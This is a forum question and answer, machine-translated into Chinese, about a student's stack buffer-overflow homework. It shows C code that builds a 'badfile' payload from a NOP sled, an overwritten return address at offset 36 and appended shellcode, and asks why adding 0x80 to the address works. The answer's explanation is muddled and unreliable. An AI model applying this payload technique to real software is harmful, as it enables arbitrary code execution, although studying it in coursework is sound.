void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
*((long *) (buffer + 36)) = 0xffffce78 + 0x80;
memcpy(buffer + sizeof(buffer) - sizeof(shellcode), shellcode, sizeof(shellcode));
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
我只是在BOF上做作业,现在我知道执行BOF的两件事。
1,指令指针的地址,以便指向我的shellcode
2,我的shell代码的地址。
缓冲区地址在gdb中为0xffffce28
,在C中为0xffffce78
,$ ebp指向0xffffce48
。因此,要获取eip的地址,0xffffce48 - 0xffffce28 + 4 = 36
。但是将我的shell代码地址0xffffce78
存储在缓冲区+36中会引发非法指令(内核已转储),但是在缓冲区地址中添加0x80
会起作用吗?
答案 0 :(得分:0)
由于外壳程序代码位于缓冲区的末尾。尝试执行的第一条指令是eip值*((long *) (buffer + 36)) = 0xffffce78 + 0x80;
,因此这不是合法指令。